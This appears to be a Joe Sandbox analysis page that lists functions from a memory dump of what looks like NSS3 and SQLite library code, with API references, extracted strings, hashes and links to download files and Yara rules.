Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: memset
String ID: BINARY$out of memory
API String ID: 2221118986-3971123528
Opcode ID: 1c667550248587a7fde8d89a5d179766eb1ad02d10f5329b4b13a2ffad4d1529
Instruction ID: 5c68758b613dd9a766786d7a7a526e109fe71757a502387342787647f2b06efa
Opcode Fuzzy Hash: 1c667550248587a7fde8d89a5d179766eb1ad02d10f5329b4b13a2ffad4d1529
Instruction Fuzzy Hash: F452AF71E05228DFDB04CF99C980B9DBBB2FF48318F15916AD859EB752D730A846CB80

Function 6C6B9EC0 Relevance: 7.6, APIs: 5, Instructions: 69memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6C6B9ED6

Part of subcall function 6C6B14C0: TlsGetValue.KERNEL32 ref: 6C6B14E0
Part of subcall function 6C6B14C0: EnterCriticalSection.KERNEL32 ref: 6C6B14F5
Part of subcall function 6C6B14C0: PR_Unlock.NSS3 ref: 6C6B150D

PORT_ArenaAlloc_Util.NSS3(?,00000024), ref: 6C6B9EE4

Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B10F3
Part of subcall function 6C6B10C0: EnterCriticalSection.KERNEL32(?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B110C
Part of subcall function 6C6B10C0: PL_ArenaAllocate.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1141
Part of subcall function 6C6B10C0: PR_Unlock.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1182
Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B119C

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C6B9F38

Part of subcall function 6C6BD030: PORT_NewArena_Util.NSS3(00000400,00000000,?,00000000,?,6C6B9F0B), ref: 6C6BD03B
Part of subcall function 6C6BD030: PORT_ArenaAlloc_Util.NSS3(00000000,00000028), ref: 6C6BD04E
Part of subcall function 6C6BD030: SECOID_FindOIDByTag_Util.NSS3(00000019), ref: 6C6BD07B
Part of subcall function 6C6BD030: SECITEM_CopyItem_Util.NSS3(00000000,-00000018,00000000), ref: 6C6BD08E
Part of subcall function 6C6BD030: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C6BD09D

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C6B9F49
SEC_PKCS7DestroyContentInfo.NSS3(?), ref: 6C6B9F59

Part of subcall function 6C6B9D60: PORT_ArenaMark_Util.NSS3(?,00000000,?,?,00000000,?,6C6B9C5B), ref: 6C6B9D82
Part of subcall function 6C6B9D60: PORT_ArenaGrow_Util.NSS3(?,?,00000000,?,6C6B9C5B), ref: 6C6B9DA9
Part of subcall function 6C6B9D60: PORT_ArenaGrow_Util.NSS3(?,?,?,?,?,?,?,?,6C6B9C5B), ref: 6C6B9DCE
Part of subcall function 6C6B9D60: PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,6C6B9C5B), ref: 6C6B9E43

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Value$Arena_CriticalEnterErrorGrow_Mark_SectionUnlock$AllocateContentCopyDestroyFindFreeInfoItem_Tag_
String ID:
API String ID: 4287675220-0
Opcode ID: 132886c8e85c4853bc8e1c53b1aed6ae3bf3f6f8f3c0773f36a280f0f549c6b0
Instruction ID: e0161a4a089a2d8325c13b07d1c8cbdb1dd59d199673a3e60fe1ca6c5bdd8558
Opcode Fuzzy Hash: 132886c8e85c4853bc8e1c53b1aed6ae3bf3f6f8f3c0773f36a280f0f549c6b0
Instruction Fuzzy Hash: CF110BB5F042026BF7109B659C00B9B73A9AFA635CF140134E50AAB740FB71E539C39D

Function 6C76CDC0 Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 423stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C76D086
PR_Malloc.NSS3(00000001), ref: 6C76D0B9
PR_Free.NSS3(?), ref: 6C76D138

Strings

>, xrefs: 6C76CF5B

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: FreeMallocstrlen
String ID: >
API String ID: 1782319670-325317158
Opcode ID: 33f3c904727b78e6a3ccadd60312c31edcb67202b830285271c06c35c0548f6e
Instruction ID: dadeca0df0336e890a93f9c09d5546fdac01e6f59edf48890e3e18a2e203b027
Opcode Fuzzy Hash: 33f3c904727b78e6a3ccadd60312c31edcb67202b830285271c06c35c0548f6e
Instruction Fuzzy Hash: 9DD18A32B506460BEF18487F8EA13EA77938762374F784339DD618BFE5E65888438305

Function 6C5EAC60 Relevance: 6.4, Strings: 5, Instructions: 181COMMON

Download Yara Rule

Strings

Pvl, xrefs: 6C5EADDB, 6C5EADF5, 6C5EAE6A
0vl, xrefs: 6C5EACC0, 6C5EAD22, 6C5EAD5E, 6C5EAE45
winUnlockReadLock, xrefs: 6C5EAE9F
pvl, xrefs: 6C5EADA7
winUnlock, xrefs: 6C5EAE18

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID:
String ID: 0vl$Pvl$pvl$winUnlock$winUnlockReadLock
API String ID: 0-792151856
Opcode ID: e20b9e19ba0afe291d9b8cee9bc22bb4791b3380891b8ef03cf62bb322d0ebc0
Instruction ID: eecee8da5ac6bf1c60882fbbe5d7e3ac746ab80e53bce509b454173c4e46b59e
Opcode Fuzzy Hash: e20b9e19ba0afe291d9b8cee9bc22bb4791b3380891b8ef03cf62bb322d0ebc0
Instruction Fuzzy Hash: E671BD706083449FDB04CF28E894AAABBF5FF89304F14CA28F95997351E730A985CBD1

Function 6C70AD50 Relevance: 6.4, APIs: 4, Instructions: 389COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 794bfaa1980d3c154a5c416d9e425536d3842891f06a5ee8c1baa9c35b8d8776
Instruction ID: 26f18300c447125f1e7eb02779cb283940893cb3118e5255baca8150d3083427
Opcode Fuzzy Hash: 794bfaa1980d3c154a5c416d9e425536d3842891f06a5ee8c1baa9c35b8d8776
Instruction Fuzzy Hash: A5F1E1B1F012598BDB04CFA9DA547AE77F0AB8A308F25823DD905D7B44E770AA51CBC4

Function 6C6FDFC0 Relevance: 6.3, APIs: 3, Strings: 1, Instructions: 344stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,00000003,?,6C5D5001,?,00000003,00000000), ref: 6C6FDFD7
memset.VCRUNTIME140(00000000,00000000,?,?,?,00000003,?,6C5D5001,?), ref: 6C6FE2B7
memcpy.VCRUNTIME140(00000028,00000003,?,?,?,?,?,?,00000003,?,6C5D5001,?), ref: 6C6FE2DA

Strings

W, xrefs: 6C6FE111

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: memcpymemsetstrlen
String ID: W
API String ID: 160209724-655174618
Opcode ID: 40b88c6e33cd5cace35e86ebe49c0735146c25b2cd4516ec4412a20f04fedf37
Instruction ID: 81f911910fb2354c947499ff244de95da27b7d87c1d6102bec37ca2ab405f34f
Opcode Fuzzy Hash: 40b88c6e33cd5cace35e86ebe49c0735146c25b2cd4516ec4412a20f04fedf37
Instruction Fuzzy Hash: D3C11772A092558BDB04CE2AC4907EA7FB3BF86308F284169DD799BB41D731A907C7D4

Function 6C6C0E20 Relevance: 6.3, APIs: 2, Strings: 2, Instructions: 279COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,00000000,00000000,00000000), ref: 6C6C1052
memset.VCRUNTIME140(-0000001C,?,?,00000000), ref: 6C6C1086

Strings

h(ll, xrefs: 6C6C0E55, 6C6C0EC4, 6C6C0F3A, 6C6C0FA7
h(ll, xrefs: 6C6C1062, 6C6C105D, 6C6C0F37, 6C6C1081, 6C6C1082

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: memcpymemset
String ID: h(ll$h(ll
API String ID: 1297977491-1774252009
Opcode ID: 67f5b1fcb83da880fb63f573082336db8c87943e3a4081e198a5746fec37010d
Instruction ID: 8cacc4eec63e3fbaf3f0f4d0275ff84627187728bee462977504022fabc56833
Opcode Fuzzy Hash: 67f5b1fcb83da880fb63f573082336db8c87943e3a4081e198a5746fec37010d
Instruction Fuzzy Hash: 91A14BB1B0125A9FCF08CF99C894AEEBBB6FF4C314B148129E914A7700D735AD41CBA5

Function 6C5E4DB0 Relevance: 5.3, Strings: 4, Instructions: 318COMMON

Download Yara Rule

Strings

Pvl, xrefs: 6C5E5019, 6C5E50FA, 6C5E5157, 6C5E51DE, 6C5E51F2, 6C5E520D, 6C5E5220, 6C5E52A2, 6C5E52B5
0vl, xrefs: 6C5E4EDE, 6C5E4F82
winUnlockReadLock, xrefs: 6C5E5125
pvl, xrefs: 6C5E4E1C, 6C5E4E81, 6C5E4FDE, 6C5E5047, 6C5E50BB, 6C5E51A3, 6C5E526C

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID:
String ID: 0vl$Pvl$pvl$winUnlockReadLock
API String ID: 0-1853705913
Opcode ID: 0ed5cc44f3942988c63461552229b44bce89009f2c210b17fd9df82dd5d138e0
Instruction ID: 3cbedef075596b0c078a03242bfe68d756f01b628b04aabbd222c3718a377c1c
Opcode Fuzzy Hash: 0ed5cc44f3942988c63461552229b44bce89009f2c210b17fd9df82dd5d138e0
Instruction Fuzzy Hash: 25E12B70A18344CFDB04DF28E89865ABBF0FF89304F558A6DF89997351E7309985CB82

Function 6C5E6F10 Relevance: 5.2, Strings: 4, Instructions: 218COMMON

Download Yara Rule

Strings

noskipscan*, xrefs: 6C5E7067
*?[, xrefs: 6C5E7034, 6C5E7052, 6C5E7070
unordered*, xrefs: 6C5E702B
sz=[0-9]*, xrefs: 6C5E7049

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID:
String ID: *?[$noskipscan*$sz=[0-9]*$unordered*
API String ID: 0-3485574213
Opcode ID: f0f4bade09ec0670cfc77a1599e0919988e2e42272c72179ebe5f85bfa625548
Instruction ID: 92c49b672d14e46bbccf307794f265cacb030f5e1c0adf67c6e2e1a140b3a08a
Opcode Fuzzy Hash: f0f4bade09ec0670cfc77a1599e0919988e2e42272c72179ebe5f85bfa625548
Instruction Fuzzy Hash: FC716C32F043154BEB14CE6DCC8039E77A29F89394F250678CD69ABBC6EA719C4687C1

Function 6C603EC0 Relevance: 4.3, Strings: 3, Instructions: 583COMMON

Download Yara Rule

Strings

sqlite_master, xrefs: 6C60463F
sqlite_temp_master, xrefs: 6C60460F
sqlite_, xrefs: 6C603FAA, 6C604185

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID:
String ID: sqlite_$sqlite_master$sqlite_temp_master
API String ID: 0-4221611869
Opcode ID: 13cb1de56c6c577b4cd9dc57d243c00aebf838c9dfbd30ced650c0011ee71b8e
Instruction ID: cea33bdaf64ff83b4ba73afc552ab02b30a1fd23bf808f6a75a5a13d1822b12a
Opcode Fuzzy Hash: 13cb1de56c6c577b4cd9dc57d243c00aebf838c9dfbd30ced650c0011ee71b8e
Instruction Fuzzy Hash: 3022AC2174D1554FD72D8B2682A06F6BBF29F67308B6845ACCAE17FE42D261EC41C788

Function 6C73BE70 Relevance: 4.0, APIs: 1, Strings: 1, Instructions: 1029COMMON

Download Yara Rule

Strings

`, xrefs: 6C73C0B6

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID:
String ID: `
API String ID: 0-2679148245
Opcode ID: 506eee700f2dbc4191454ecb41f8d5d0d7223a0a5c1c5bf7975cfba115cccf7a
Instruction ID: f30634c0bb76df83daecc7d63bef2afec589e4a26fea88a7d49689c469cbb107
Opcode Fuzzy Hash: 506eee700f2dbc4191454ecb41f8d5d0d7223a0a5c1c5bf7975cfba115cccf7a
Instruction Fuzzy Hash: 7D92B474A00269CFDB04DF58CA80BAEB7B2FF89309F245268D419A7B92D735EC45CB54

Function 6C5D3D80 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 164COMMON

Download Yara Rule

APIs

htonl.WSOCK32(00000000), ref: 6C5D3EA9

Strings

0, xrefs: 6C5D3DAB

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: htonl
String ID: 0
API String ID: 2009864989-4108050209
Opcode ID: dd16d9e3c4b518be53289aa781cd2655386d52825df6f71bf5c6ab524c7a801d
Instruction ID: 6e2761b8652806c6dcf6819d7c5a0bcd90008ad506584de05129c4f42721581d
Opcode Fuzzy Hash: dd16d9e3c4b518be53289aa781cd2655386d52825df6f71bf5c6ab524c7a801d
Instruction Fuzzy Hash: 72512A31E4927A8ADB158A7D8C603FFBBB1DB42314F1E4329C5A167BC1D23465458794

Function 6C67EE70 Relevance: 3.2, APIs: 2, Instructions: 223COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C67F019
PK11_GenerateRandom.NSS3(?,00000000), ref: 6C67F0F9

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: ErrorGenerateK11_Random
String ID:
API String ID: 3009229198-0
Opcode ID: f28674b34aa5c963032b75bc96fe7a21ab5569db4e47a29f8ddf8cc7e5d013c4
Instruction ID: cf8c58d72dda11d0174f5d3a0c4087572fa7c75b649267e6ecac87be26bd1c5c
Opcode Fuzzy Hash: f28674b34aa5c963032b75bc96fe7a21ab5569db4e47a29f8ddf8cc7e5d013c4
Instruction Fuzzy Hash: 69919375A0061A8FCB24CF68C891AAEB7F1FF85324F244B2DD56297BC0D730A905CB65

Function 6C6A2F70 Relevance: 3.1, APIs: 2, Instructions: 149COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE09A,00000000,00000000,?,6C6C7929), ref: 6C6A2FAC
PR_SetError.NSS3(FFFFE040,00000000,00000000,?,6C6C7929), ref: 6C6A2FE0

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Error
String ID:
API String ID: 2619118453-0
Opcode ID: 4a656108be18da6d47c24cc2c8ac13f526c4c1b274535cb3a5808e77de7152a1
Instruction ID: 9ab6f43318753b15c120202def51ddfa4001fcb99b837c426b889048feaa219a
Opcode Fuzzy Hash: 4a656108be18da6d47c24cc2c8ac13f526c4c1b274535cb3a5808e77de7152a1
Instruction Fuzzy Hash: 2E512671A459118FD714CEEAC880BAAB3B1FF46318F250139D9199BB02D731ED47CB89

Function 6C6AED70 Relevance: 1.7, APIs: 1, Instructions: 217memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(00000000,0000003C), ref: 6C6AEE3D

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Alloc_ArenaUtil
String ID:
API String ID: 2062749931-0
Opcode ID: b51203e4b2318080346e191dc444ed80196527117a86a943b733acd6992df4c0
Instruction ID: 8f9cf25bb5696d1cf8ac485a989272bafbf98db9796f59bfbbe95dc0a453724e
Opcode Fuzzy Hash: b51203e4b2318080346e191dc444ed80196527117a86a943b733acd6992df4c0
Instruction Fuzzy Hash: FE71CFB2E01B018BD718CF99C8806AAB7F2FB89304F14862DD85697B91D734ED12CB95

Function 6C5D5F30 Relevance: 1.6, APIs: 1, Instructions: 350stringCOMMON

Download Yara Rule

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,00000000), ref: 6C5D6013

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: strcmp
String ID:
API String ID: 1004003707-0
Opcode ID: 260cba9ebfff07642fd90ab1c4a1d71ff9639c562215b12fa77f5e6517cd9e90
Instruction ID: 0bc60c790d15b52a294fe78b9023c1d560ff737a3ec6f2b9e672f9e87eeec3d4
Opcode Fuzzy Hash: 260cba9ebfff07642fd90ab1c4a1d71ff9639c562215b12fa77f5e6517cd9e90
Instruction Fuzzy Hash: FAC127B1A043068BDB04CF5DCC907AAB7B2EF45318F668919D995CBB42DB31F842C799

Function 6C765E60 Relevance: 1.4, APIs: 1, Instructions: 163COMMON

Download Yara Rule

APIs

Part of subcall function 6C765B90: PR_Lock.NSS3(00010000,?,00000000,?,6C64DF9B), ref: 6C765B9E
Part of subcall function 6C765B90: PR_Unlock.NSS3 ref: 6C765BEA

memset.VCRUNTIME140(00000014,00000000,-000000D7,?,?,?,?,?,?,?,?,6C765E23,6C64E154), ref: 6C765EBF

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
